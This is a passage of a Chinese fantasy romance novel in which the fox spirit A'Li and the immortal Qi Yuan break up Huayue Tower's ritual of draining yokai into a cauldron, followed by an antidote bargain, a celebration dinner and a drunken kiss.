“小哥?”阿离笑着挡住一个人的去路,尽管脸上那可怖的面具遮住了笑容,但那人依旧会看见,她眼里的亮光,从而看见她的笑容。
“你可知道,待会儿进去的时候,要说句什么话?”
她望着他,似是要望穿他。
狐狸精最擅诱惑,此时此刻,他不知她是在诱他的话,还是在惑他的心。
男人似乎真的着了迷,俯身靠近她的耳畔,“妖神临世,福祉万千。”
阿离猛然一惊,不知是惊这一句暗语大逆不道,还是惊耳边余温滚烫。
“你是……祁渊?!”
“你怎么在这儿?!”
想起来了,杜月说他和姜满来了花月楼。
“认出来了?”
对方轻飘飘的一句话,惹得她意乱。
尽管有面具遮掩,脸颊上的面红耳赤依旧蔓延全身,尽数渗进每一个动作里,“你既已认出,为何不提醒?”
她可太丢人了!
“觉得有趣。”祁渊的脸同样藏在面具后面,话音嗡嗡的,笑更是模糊。
“原来阿离认不出我。”但他一眼便认出了她。
这不对等。
祁渊想起阿离昨晚的冒昧,有些心意难平。
阿离有些心虚狡辩,“你带着面具,我自然认不出你。”
后来祁渊便明白,她不是认不出,而是不在意。阿离是自由的风,祁渊是高山之巅的大树,任何能阻挡风的轨迹的事物,风都是不喜欢的。
“什么时候来的?”
两人慢慢并肩而行,从这个角度,阿离只能看见祁渊冷冷的耳朵尖,“发现你不在的时候,杜月和我说你来了花月楼。”
“嗯。”
阿离不解地抬眸,想问问面具之下是怎样漫不经心的一张脸?但无奈场合不适、勇气不足,只好将心中念头放下。
“暗语。”
阿离这时想起那句大逆不道的暗语,‘妖神临世,福祉万千’,尽管它被大多数的妖怪所信服,甚至可以蔓延到妖界各地,成为信仰,但妖神已逝,它的存在,势必让妖界与天界的关系陷入更深的焦灼。
为了妖界,阿离不能让这句话传播开来。
“这句暗语,你是怎么知道的?”
26. 不谋而合(六)
“今日来参加集会的人都知道。”祁渊的嗓音沉沉,好似带着一种必然的故事感。
“花月楼从来不避讳祭奠妖神之事,昆仑山记载,这万年间,凡间妖神的信徒只增不减,就好像那座神邸从未消失,只是换了一种方式,永远地留在了这些信徒心中。”
信仰的诞生是不可控制的,它是一种绝对的坚定,有时候一个人的信仰,就代表了这个人的全部世界。
如果这种信仰是错误的,那必然会带来不可挽回的后果,所以必须阻止、遏制。
祁渊注意到阿离的神情愈加凝重,依旧将自己所知尽数道出,“昆仑古书有记,魔族有一种秘术,可使妖魔神重生。”
凡人有生死轮回,一朝轮回,不记生前事。但妖魔神,特别是被天道惩罚的妖魔神,身死魂灭,不入世间轮回。想要在苍茫天地间寻回一位神邸的神魂绝非易事,这个过程注定要付出比死亡更加可怕的代价。
天道无情,死生不可逆转。
但魔族违天道而生,重生禁书为魔族所创,万年前跟随黑水之渊的封印永久消失。
但今日花月楼里的丝丝浊气,让阿离不可控制地想起了先辈们口口相传的过往,那时黑浊之气笼罩三界,好似一张张血盆大口,要将三界生灵尽数吞入腹中。
妖神临世……
若没有魔族秘术加持,妖神怎能再次临世?
黑水之渊的封印是否松动?
谁会是始作俑者?
“不能再让它发展下去了。”阿离忽的止住脚步,像是下定了决心。
“如何才能不让?”
“自然是先要断了谣言的源头,这些无根浮萍,失去了依托之后,不攻自破。”
两人的目光在无数空白中交汇,一个是胸有成竹,一个是赞许认可。
两人齐步来到顶层名为香云阁的房门前,扣门三声,道:“妖神临世,福祉万千。”
房门吱呀吱呀几声,从里间打开,让人感到奇异的是,屋内并非暖香盈盈,而是一片深不见底的漆黑。
阿离壮胆踏入,顿时有一阵清脆而诡异的铃音传来,随之,阿离发觉这一小间屋子里,竟然暗藏着另一方天地。
“是乾坤阵法。”祁渊在身后解释。
乾坤里天地现,仙人创乾坤袋以承万物,自有用乾坤阵法装下一方世界。
二人跟随那阵诡异铃音入场,不出十步,便像是来到了一个集市上。
一条长街,一个市集。
这集市看上去极为普通,街边的摊子里是凡间常见的吃食、玩具,有几家卖花灯的极为耀眼,想来是因为四周黑暗太浓稠,而花灯里烛火灼灼,刺人眼睛。
每一位前来的面具客人都会带上一盏花灯,因此踏入漫长无尽的游街之路。
二人置身游街队伍旁,发现这些妖怪竟都似木偶般,动作麻木,无感无知。
“怎么回事?”
“是花灯。”
听完,阿离作势去抢他们的花灯,在手触及花灯的一瞬间,一整条队伍像受了什么刺激一样猛然停下,纷纷扭头盯着她。
说时迟那时快,祁渊一个箭步,便把阿离提回了原位,这条队伍才得以恢复正常,继续往前行走。
阿离怔了怔,显然没反应过来。
“怎么回事?”
祁渊抬手理了理她被弄乱的发丝,“看来这花灯碰不到,走吧,去看看花灯里有何玄机。”
二人寻到一家花灯店铺,走近,想要一探究竟。
走近之后却发现,那些店家的身影竟都是用纸糊出来的,看上去很是骇人。
阿离试着去将摊位上的花灯拿走,谁知那轻盈盈的花灯却纹丝不动。
破解之法她在一些凡间小说话本里有研究过。
“老板,花灯怎么卖?”像是一位寻常旅客,阿离强忍心中不适向卖花灯的纸人问道。
但出乎预料,那纸糊的人竟然开始说话了。
“不贵不贵,我这儿的花灯只需十文,姑娘要不要来一盏?”
是一句亲切的话语,但听来十分生硬,最诡异的是,这纸人不会动,像一桩木头一样杵在那儿,没有嘴巴开合,这一句话音一时不知是从何处蹦出。
阿离似被吓住了,祁渊注意到她的肩膀爱面子地颤了颤。
“要两盏狐狸花灯。”
听是熟悉的声音,阿离松了口气,转眸好奇的看了他一眼。
狐狸花灯埋在众多亮晃晃的花灯里,一眼瞧去是根本注意不到的。
但祁渊却一眼找到,还说要两盏……
祁渊有模有样地将二十文钱放在纸人身前。
下一秒,两个狐狸花灯从花灯中飘出,来在两人面前,那纸人又道:“愿公子和小姐永结同心,生死不离。”
永结同心,生死不离。
当真是一句好话。
但这句好话竟是从一个不长嘴的纸人身上说出,便难免有些毛骨悚然了。
两人接住飘来的狐狸花灯,加入了庞大的花灯队伍。
这里如地狱般黑暗,莹莹花灯创下蜿蜒长河,默言如斯,好似地府前奈何下忘川河。
祁渊身长玉立,左手将宽大袖袍别于身后,右手提灯引路,墨发虽不能随风飘逸却也如神明般清风朗月,阿离盯着他宽大的脊背,少见的分心出神。
这条队伍连绵不绝,一时不知何时才能走到头。
周围之人皆是沉默不语,诡异万分,好似被剥了灵魂只余一具空壳般。
阿离抿了抿唇,咽了口唾沫。
某人像极了背后长眼,突然用那空闲的左手握住阿离的冰冷掌心,抚慰心灵的温热传递过来,阿离比方才更愣了一下。
凡间总传狐狸精爱扮成貌美女子勾引年轻男子吸其精血提升修为,此言不虚,但阿离没那么干过,可自从遇见祁渊,她突然很想当一回传说里祸国殃民的妲己皇后,可祁渊只是个普普通通的道士,祸国殃民不成,只能沦为平凡妇人,烧茶做饭。
祁渊很爱喝茶,但不大爱吃饭。阿离很爱吃饭,但不大爱喝茶。
他们看似毫不相干,却无奈,心是偏着长的。
喜欢是最无从谈起的,亦是最不能仔细斟酌的。
总之,他是位貌比神仙的美人,若终有一日,她愿将他带回涂山,好吃好喝的伺候,不愿天长地久,只愿共白头。
这是贪念,贪念一旦起了,便再无回头的可能。
还不知道阿离内心阴暗想法的祁渊微微偏头,“这花灯上有毒。”
阿离呆着神情看他,透过面具,想象回忆面具之下那张俊俏的脸,“若有一天,你死了,要渡过那阴曹地府里漫漫轮回路,我定然一路杀鬼弑神,与你共寻,看看那地府聚魂之景,是否如今日这般,壮大诡丽。”
祁渊听完,“噗”地笑了,“看来是中毒不浅,嘴里尽是些不吉利的话。”
妖怪听不懂,只觉得脸上的丑面具碍事。
人流涌动向前,两人却突兀地停了下来。
祁渊将‘中毒不浅’的妖怪往怀里一带,身体一轻,化作世间尘埃,随风而起,随风而去。
祁渊今日来花月楼并不是偶然,他知道花月楼丧心病狂,要用整个扬州城的妖怪化鼎炼丹,献祭妖神!他来是为阻止花月楼这一荒唐
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行径,但没想到支走了一个姜满,又来了个阿离。
都是不让‘人’省心的。
祁渊将阿离带离人群,临行前对阿离施了一道追踪术,再将一只青玉手镯塞进阿离的手腕。
这是天界一等一的神器,若是阿离遇到危险,可以保她安全。
“先前你要走的月影藤呢?为何不带?”
阿离眸底一片空虚,想来是听不见他的话的。
“无事,下回带上就好了,不带也无所谓。”我不会叫你受伤,我定能护你周全的。
做完这些,祁渊拿走了阿离手上的花灯,手上骤然空空,阿离慌忙一怔,似乎是最在问他:为何要抢走她的花灯?
祁渊耐心吩咐,“在此等我,哪都不要去,知道了吗?”
似乎理解这句话要花费极大的力气,半晌,阿离才点了点头。
紧接着,手上又是一空,眸中花灯的亮光很快便彻底消失,周围真的陷入了如地狱般的黑暗。
“要快回来……”
作出承诺的人走得太急,没听到身后小妖怪声音轻颤的喃喃之语。
提着花灯的队伍一路走进了一个寺庙之中,庙前牌匾破烂,裂缝间不知何时织起了几道蛛网,层层叠叠,看不真切。
那牌匾上的字也已被时间磨去,就如同这条老街,仿若是上古岁月中的一幕。
妖怪们十分拥挤的挤进了庙里,此时他们的眼中不再是无知觉的木讷,而是如暴雨洪水般呼之欲出的欲望。
伟大的妖神!请庇护你的子民!
众妖口中念念有词,提着各式的花灯,毫无头脑的就要往前方闯,就好像那儿有着什么值得付出生命也要得到的东西。
然而,前方只剩一条死路。
一座巨大的炉鼎横在众妖面前,炉鼎之上是一个带着黑色面纱的女人。面纱之下,皮肤褶皱如老人,如恶鬼。一个戴着黑色面纱的女人,正是花月楼楼主秦娘子。
众妖手中的花灯不断摇曳,源源不断地将妖怪们的妖力抽走,尽数献给那座巨大的炼丹炉。
他们尚在美梦中,瞳眸中渐渐失去光彩,脸上扯开一抹幸福的微笑,随后身子一软,没了气息。
妖丹就是这个时候被偷走的,他们信奉的妖神,不过是一个巨大的幌子。
“天外来客,有失远迎。”黑色倩影挺直腰肢,于炉鼎之上冷眸观看裙摆下的生死。
一道剑锋挥舞而至,重重砸在那巨大的黑色炉鼎之上,将其生生劈去一角。
但不够。这点残缺并不能阻止这场疯狂的献祭。
“仙友,你这脾气,还真是暴躁。”秦娘子见状呵呵一笑,“比那只狐狸,有过之而无不及。”
祁渊心底闪过一张稚气骄傲的脸,下一瞬提剑一闪,唇边翕动。
忽然,一阵罡风略起,耳鸣震震,天空乌云密布,雷云滚滚,一柄巨大的金色长剑由云心直落,随着男人一声令下,这道巨剑竟直直劈开了如山一般高大坚硬的炼丹炉,震碎了妖怪们的美梦。
所有妖怪痛苦不堪又不明所以,身体似乎突然缺失了许多力气,无法思考,眼前一片模糊,只看到一个玄衣身影飘在空中,提着一把金色长剑,侧颜英气逼人,身姿威风潇洒,是为谪仙。
尚来不及保持清明,便伴随着头脑如浆糊般的混乱晕厥过去,不省人事。
“小狐狸耳根子薄,听不得这些腌臜秽言。”
秦娘子闷出一口血,实在不理解面前这人是什么脑回路。
但她哈哈大笑,疯魔了一般。
“不愧是神剑上玄,今日我败在你的手上,就算死,也能瞑目了。”
27. 不谋而合(七)
“你看错了。”男人淡淡回道。
剑身随手腕一转,交叉向前挥去,打出一道漂亮的剑花来。
秦娘子侧身躲过,提剑相迎。
二人扭打在一处,一来一回,招招致命。秦娘子剑招如毒蝎,一步一刺,隐约间,祁渊似乎看到了一个熟悉的影子。
抬剑拦下剑招,手腕加了巧劲,将攻防双方对转,祁渊挥剑的力道极重,似有千斤巨石砸下,秦娘子每回都被震了一震,右手开始发抖,差点没法握剑。
“花月楼隶属妖界,妖主还未下令,天界倒是先多管闲事了!”祁渊步步紧逼,秦娘子不敌,一句咒语低吟,整个庙宇随之震动,墙上有密密麻麻的咒文显现,泛着诡异的死气。
只听哐当一声,剑招汹涌地炸破了这个密闭的庙宇,诡异咒文于弹指间化作尘埃散去,金色长剑直立于地,强大的灵力结成了一道屏障,正保护着地上昏迷的生灵。长剑静默,无声的印证着他的答案。
“花月楼勾结魔族,当诛。”
秦娘子的剑被震碎了,倒趴在地,吐出来的鲜血和脸上的面纱粘在一起,看上去已然不省人事。
忽然,他听见地上的人忽然发疯似的哈哈大笑,“还没结束!你给我等着!”
祁渊向她看去,将那疯狂的笑容收进眼底,心中隐隐察觉有些不对。大概是自己想多了罢。
随着这句话音落下,外边应时地传来一道稚朗的声音,“仙君,我来迟了!”
少年从天而降,恭恭敬敬地对祁渊行了礼,“请仙君恕罪。”
闻言,秦娘子笑得更大声了,“仙君?他骗你的吧!”
少年立马催动锁妖链将疯癫的秦娘子五花大绑后,再次行了个礼,“我立马将这疯子带回天界处置!另外,我方才正看见妖界使者带人往这边赶,看上去已经知道了这里的情况。”
少年名为百前胡,是个勤奋的小仙人,前些时候刚通过天界的考试,成为一名可以当差的小仙。
他被天帝派来协助祁渊,在他眼里,祁渊只是官阶高他几段的老神仙,不是仙君是何人?总不能是上神吧?
祁渊收剑,走下祭坛,一步步走出这座黑暗的神庙。
最后一步,他停了下来。
一只猫妖正顽强的撑着意识,死死地盯住他的脸。
神仙临世,定是怜悯苍生,不忍苍生受苦。
一瞬之后,祁渊离开。只余那猫妖美好的幻想。
秦娘子被抓走后,挂满花灯的长街慢慢消散,回归到普通法器空间的一片黑暗的场景里。
阿离还在等他。
自花灯失效的一瞬起,阿离脑海里的混沌逐渐消失,她的头微微仰着,眸子里闪过一道又一道如红日般的金光,那上边附着的神息叫她绷直着身体,脖颈上,妖艳的妖纹爬满全身。
神的光辉,纯洁而神圣,妖怪像是世间的污垢,在神面前,无所遁形。
阿离对神,并无半点敬畏之心。
与世人相反,她仇恨这些虚伪的神邸。
周遭昏暗,而神光又过于刺眼,眼睛猛然闭上的时候,世界像突然泛起了白光,她挣扎着去看,发现周遭忽明忽暗,像定格在头顶的烟花。
她好久没好好看一次烟花了。
脚步踉踉跄跄地,正往方才神息出现的方向走去,长街毁去,空间便恢复了原状,路程遂而也减少了许多。
那座庙宇里,她远远的看见了拿着神剑,身姿挺拔如松的男人,那时剑上神息未隐,无比直白的告知她真相,原是如此……
阿离终于支撑不住地软下身子,半跪于地。
半梦半醒间,阿离发现自己不知何时,又掉回了那个莫名其妙的梦里。
***
那日道长救了她一命,两人在一个屋檐下,竟然心照不宣的没有说过一句话。
道长是因为不爱说话,阿离,可能是因为掉了面子。
她今日出门去猎了野味,回去立马就生了火。山里夜雨多,阿离回来的时候难免湿了衣裙。
这几天虽说吃喝不愁,但这位道长和和尚一样只会吃素,阿离跟着他,真是吃了不少苦。
所谓自立更生……
“试试!”
阿离烤肉时道长一直在旁围观,冷峻的眉眼一直盯着她——的手,和手里的肉,看上去像偷师学艺的街痞子。
好在长得好看,普通的痞子比不上。
等肉烤好了,阿离迫不及待地将其一抬,未灭的火星子蹦出来,差点就害了道长。
道长将烤肉接过,闻了闻。然后眉头一皱。
“我们一连吃了几日的果子,换换口味嘛,快试试!”阿离满眼期待的凑到他的面前。
“你,确定?”
“这些黑色的,可以吃吗?”
……
这确实是个失败的菜!
阿离这辈子没见过这么难吃的!
她好嫌弃!
“啊啊啊啊,可是我真的很想吃肉!”
“简单。”
阿离对他投以希望的目光,“道长有什么好办法!”
“你下山去,往西二十里,就有一个镇子。别赖在这儿了,走吧。”
“你在,赶我走吗?”妖怪小心翼翼地开口,生怕对方一个摇头。
“可我没有家,无处可去,也不知道去哪。”
“道长你的法力高强,你就让我跟你,好不?”
“我可以给你做饭!”
“我,我,我可以……”
“不可以,我这里庙小,容不下你这妖精。等雨停了,下山去吧。”
这话无疑是噩梦,阿离听完只觉天塌了,身子一抖,竟被吓醒了。
醒来时发现自己正被一人背着,双脚离地,又是莫大的恐惧。于是加重了圈住对方脖颈的力气,不争气地将自己往对方的脊背和脖颈上贴紧。
她这一动,像是在考验某人的定力。
“醒了?”
“嗯。”
二人语气轻轻,像是害怕打扰了已然进入睡梦的人家。
他们行于空无一人的街道,一切明了无比。
“不是说好在原地等我吗?怎么乱跑,叫人担心。”
阿离想起那漫天神光,还有他手中的金色长剑,嗓音喃喃道:“我是怕你打不过,丢脸,”
闻言,祁渊倒是抑制不住似的笑了笑,紧接着,他问了她一个问题,语气里,似乎带着几分激动,“你去的时候,可看见了什么?”
阿离知道他是在掩饰和说谎,她也是。
“我不是晕了吗?能看见什么?还不是担心你!”
“莫非是秦娘子逃走了?”
祁渊摇了摇头,“是神仙,那日,神仙出手,抓走了秦娘子。”
“那神仙长什么样?”
“没看清。”
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>“没看清便没看清罢,有些凡人终其一生都见不到神仙的,现今你也算见了神仙的半个影子,知足吧。”
她颇有些讲道理的模样,一字一句间,像是替他遗憾。
“若,我有一天成了神仙……”
“好事啊!”
耳畔边响起她的话音,分明是高兴的语气,他却怔了又怔。
“凡人修炼,不就是为了当神仙吗,你若是有这个机缘,我,那我便祝福你吧。”
静了半瞬,他回过神,答:“好。”
另一边,花月楼顶层阁门大开,萱宁正领头将一众受害人带回安置,在这之前,她收到了两封信,一封来自妖都尊使涂山泽,一封来历不明,却与妖都来信的内容大同小异。
二者都言明了花月楼叛变之事,顶头上司给她解释这其中缘由,她不得不听,不得不信,而第二封信对比第一封信,只多了具体位置和需要带多少人前来支援的建议。
值得一提的是,萱宁在前来的途中又一次遇见了姜满。他手执三枚铜钱,抛至半空又落回掌心,一对眉紧紧皱起,差点连成了线。
凡人术士,似乎有算卦之说。
姜满见了她,忍不住提了口气,听了她的解释后,才又将气松了。
“还真是吉人自有天相。”姜满摇头叹气,却是含着笑的。
萱宁直觉他在说其他,便告了辞,执行公务去了。
一方覆手遮天的花月楼,竟能在一夜间落下帷幕,萱宁并未过多探究其中因由,只知是有人将证据一一理好,呈给了尊使。
她这人惯有底线,不该问的事自然不问。
不过,一夜之间,她与昔日敌人竟突然变成了上下级。
出于礼貌,她得去关心一下她的下属。
——那个狡诈的狐狸精。
面对萱宁找上门的事儿,阿离只觉头痛。有些像在官场拼搏怕见皇帝,因为摸不准对方心情如何,自己的这颗项上人头是否松动。
总之,萱宁长得的确有那么几分威严。
这番动静倒是在几人面前闹了笑话。
“不奉承上司,你是怎么当上绿衣使者的?单靠殴打考官么?”
男子倚靠在门边,侧着脸,屋外的阳光打在他俊美的脸上,像重峦叠嶂的山影。
“也不一定。”她悄声咕哝。
“趁考官睡着,我就可以趁虚而入,这时候我一定可以打赢他们,然后他们为了面子,就会让我通过。”察觉到祁渊的目光,阿离顺着他的话,虚虚实实地补充了一大堆考试通关秘诀。
原来她是这么当上妖界使者的。
“不过不过,这实在是太恐怖了!”
“她这个行为,这和考察功课有什么区别!?”
闲坐旁观的杜月忍不住吐槽:“你一个绿衣使者,怎的还挑上紫衣使者的刺来了?难不成,管你的紫衣使者官阶很大?”
“不过,我听闻紫衣使者里,萱宁大人已是顶级,再往上,就是玄衣使者了。”
妖界使者以妖力划分等级职位,绿衣为最低一阶,由此往上,依次是紫衣、玄衣和红衣,当今妖界只有一位红衣使者,行踪诡秘,不为一般人所见闻。
“说起红衣……”杜月狐疑地上下打量起阿离。
“不管了不管了,我豁出去了!”阿离全然未留意到杜月话语中的不对,大喝一声,像是下定了某种决心,忽的一下,飞了出去。
28. 不谋而合(八)
萱宁气派又端正地坐于正堂客座,整个人颇有几分刚褪去铠甲的女将军气质。
她正闭目养神,双手握拳放于椅子两侧。方才,她放出神识在院内游走,仔细观察这院内的一草一木,然而不过半盏茶的时间,她便像碰了什么禁制一样,被猛然弹了回来。
调息间发觉,她已经好久没这般有耐心的等着一个人了。
今日萱宁前来的原因有二,一是关于昨日花月楼之事,她收到的那两封信。
那两封信,特别是从妖都传来的那一封,是尊使大人亲自着人写下的,信中,尊使大人从未提及派绿衣使者前往扬州城协助调查一事,那阿离,这位身着红衣的绿衣使者,身份低微,却可以持有妖主令?她究竟是何身份呢?
到了扬州城便闷声干大事,丝毫不把她这个紫衣放在眼里,这不是牛犊,这是猛虎。
阿离还未出现,吃定了是要给她下马威。
萱宁面色阴沉地等着,心里却悄然下了定论。
阿离再次见到萱宁,行过礼后,二人平静地面对面坐着。
“昨日秦娘子被抓时,你在哪?”审问般的语气,倒是没能把对方吓住。
阿离轻啊一声,表现惊讶,“什么,楼主竟然被抓了?”
面对阿离这种程度的雕虫小计,萱宁则更是轻描淡写,“是啊,花月楼有如今的下场,不是您亲手挑选的吗。”
“您,”面前的小妖有些接不住话,“大人,何出此言?”
萱宁:“说吧,你听命于谁?是尊使,还是妖主?”
自古以来,妖界使者归妖主管制,听命于妖主。但这些年来新妖主势弱,妖界使者便尽数归在了尊使之下。萱宁自然也不例外。
妖界尊使可是个狠角色,他在妖界一手遮天,凡间十五载,他行过,换来妖界各族不敢四分五裂。他替妖主接住整个妖界,众妖皆知,他涂山泽才是妖界之主,新妖主涂山虞不过名义上的傀儡。
而阿离,却是这位新任妖主的人。
她想借妖界尊使的名头扇起一把名为清正的大火,势要将如花月楼般的背叛之人烧个干净。
但这些,在萱宁眼中,是背叛之举。
阿离是妖主争权行的第一步棋,自然,也可以是最后一步。
紫电鸣闪,长鞭被它的主人用力甩来,掀翻了桌椅板凳。
再挥来时,末端却被人用剑柄制住,焦灼不下。
“这可是师兄费了好些力气买到的茶杯!”阿离十分惋惜地说道。
祁渊将剑柄收回,紫色长鞭自知不敌,被迫转了个弯,沿途又打翻了些家具,“使者大人既不是做客,还是尽快离去为好。”
萱宁吃噎,却已是得了答案,敌众我寡,只好认命收了手。
“花月楼叛变证据确凿,我会撤销你的通缉令,先前的事,抱歉了。”长鞭被收回腰间,萱宁两手抱拳,肃容一拜。
“至于笛允一案。”
至于监察使笛允的死,全然是自讨苦吃。
根据萱宁对花月楼案的调查整理,阿离奇异的发现,笛允竟在最早一批勾结花月楼的名单中。
笛允不是糊涂蛋,他清楚的知道花月楼在做什么,前期的妖丹买卖运行,笛允更是参与其中并且劳心劳力的。
只可惜,他太贪了。
在他发现花月楼在利用他的同时却并没有给他足够的好处后,咋们的这位笛监察使,翻脸了。
他要告发花月楼。
当这个想法成型并在众目睽睽下脱口而出时,他的死便是板上钉钉的事情了。
因为没有人想动花月楼,利益将他们圈在一个笼子里,所以根本不用花月楼出手,这个叛徒便会‘自然’死去。
那天是雷雨夜,所谓天神降怒,妖魔尽退,不过托词。现任妖主与天界水火不容,众人便利用这一消息,先是投毒,再合用引雷术,使天雷降下焚烧尸体,伪造成是天界派人无故杀死妖界大官,蓄意引起战争。
当真是好计谋!
此次花月楼元气大伤,由萱宁带领,与妖丹买卖相关的人都被抓了个干净,听闻萱宁还一把火烧去了花月楼中所有人的妖契,放其归家。只是,她似乎忽略了一件大事。
萱宁:“你的任务结束了,尽快回去复命吧。至于那个人证,便由……”
话音未完,只听阿离开口道:“那自然是要全权交给大人的,只不过,我听闻秦娘子先前为花月楼众妖投下了檀罗之毒,人证杜月更是,这些可怜的妖怪恐怖全都命不久矣,楼主倒台,这解药,应该去何处寻啊?”
“毒?”
“正是,不过幸好,我们这儿有位神医,近来刚刚研制出了解毒之法。”
闻言,在场之人皆是神情一凝。
阿离话音继续,“听闻紫衣大人手里有一株灵瞳花,正是制作解药最关键的一味,不知大人可否忍痛割爱?”
不单单是杜月这个关键人证,更是几百条受牵连的性命,按萱宁公正不阿的性子,这个要求她必定会应。
她确也应下了这个要求,承诺过两日便会将灵瞳花送来,只是神情颇为勉强。
阿离偷瞧了眼祁渊的反应,发现这人木如池鱼,无波无澜,毫无欣喜之情,反倒是眉眼间平生了几分皱褶,颇有沉重之意。扫兴而归,阿离只好收回目光,恢复了以往那一副清冷模样。
他不开心?
萱宁走后,姜满开始张罗布置起庆功宴。
杜月和祁渊打下手,杜月烧火,祁渊切菜。
阿离就趴在窗台,目不转睛地看着祁渊恰到好处的刀工,见他将一根青瓜切片,片片匀薄,骨节分明青筋外露的手轻按在各色食材和刀具上,指尖透红,未净的水停留在如白玉般的手背上,让人想入非非。
“师妹!快来帮忙!”姜满一声吆喝,阿离迅速抹了把脸,将脸上的红晕通通丢去,提着裙摆跑到了姜满跟前。
“师兄,我要做什么?”
她笑着,眼眸如杏仁般圆润水亮。
“帮着布置一下桌子,今晚吃一品锅!”
“好!”
“还有还有,”姜满叫住即将飞奔的阿离,道:“再去酒楼买上几坛酒水,就要,当下最好的秋露白!”
夜晚如期而至,暖锅在院子里烧起来,薄薄的烟雾缠绵的卷到半空,而后消失。
人间烟火气,大抵如此而已。
剿灭花月楼这般艰难的任务,除去谋划的时间,他们竟然只用了
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半月便大获成功,既没有辜负师父的期待,又没有把命丢了,可喜可贺,可喜可贺!
当然,这一切都要仰仗祁渊和阿离,他的小师弟和小师妹。
“来,让我们提一杯,这一杯便祝师妹加入昆仑山,从今往后,我们便是同门,同门之间,互帮互助,乃是昆仑弟子守则中最重要的一条。”
“我何时说要加入你们了?”阿离把玩着手里的酒杯,低声咕哝了句。
夜色浓郁,一品锅吃得差不多了,几坛秋露白下肚,醉得不轻。
“自你喊我师兄的那一刻,你便是我姜满的小师妹!”姜满唰地起身,“你放心,日后师兄定会保护你,不被欺负!”
“谢谢,师兄!”阿离举杯起身,豪情道。
酒杯中的酒被她用力晃出,仰头饮尽余下的,身子东倒西歪,最后被祁渊护着,倒在了他的怀里。
两个真性情的人撞到一起,倒是真情流露,不枉清风了。
“这是我来扬州城之后,吃过最好吃的一顿!”头顶明月高悬,眼前,却有一景可比明月。
“你醉了。”祁渊一动不动地盯着她,眼里少有的不含一丝别样的情绪。
他听她轻笑,“你也醉了。”
祁渊将她环抱起,迈出稳健的步子,离了席。
在花月楼摸爬滚打许久的花魁自然练就了千杯不醉的能力,虽说如此,她还是陆续将酒杯送进嘴里,用粉唇抿着酒水。
杜月不语,只是喝完了现下这杯,便起身将胡言乱语的姜满扶进了屋子。
宴席散去,徒留残局。
“离半月之期还有几日,只要拿到灵瞳花,你的毒便能解了。”趴在祁渊背上的妖怪红着脸道。
随着吱呀一声响起,阿离被祁渊放在了床上。
双手还勾着他的脖子,迟迟不肯松手。
“阿离。”
沉沉的话音刚落,呼吸便被另一人轻柔的夺走,他们都醉了,醉在江湖,也醉在了风月里。
“你和那人好像。”
那梦里的人。他这几日一直呆在阿离的梦里,像在一片无主之地建了一座房子,虽然房子还没建好,但这人,注定是赶不走的。
而祁渊,听了阿离这句呓语,酒醒了几分,几分怒意涌上心头,发狠似的问,“谁?”
“应该是,我从前特别喜欢的人。”
祁渊闻言一怔,又要去掰开她缠着他的手。
“但我知道,你不是他。”
又是一怔,祁渊停了要将她扯开的动作,阖上了眼睛,颤抖着将疑惑问了出来,“为何?”
“我看得出来,你们,一点都不一样。”
祁渊紧张又惊慌似的抿了抿唇,阿离又凑上去吻他,蜻蜓点水一般。
“那你,还喜欢吗?”
不知是真醉了还是怎的,他张了张唇,便将自己的秘密全盘托出。
阿离垂着长睫,将情绪和想法尽数隐匿,她似乎认真地想了想,才开口回答:
“你是谁呢?”
“只要你不是他,我便是喜欢的。”
他的眉皱的更深了,阿离的眼皮也愈来愈沉,亲的动作也愈来愈慢,遂而也没听见,他说的最后一句话。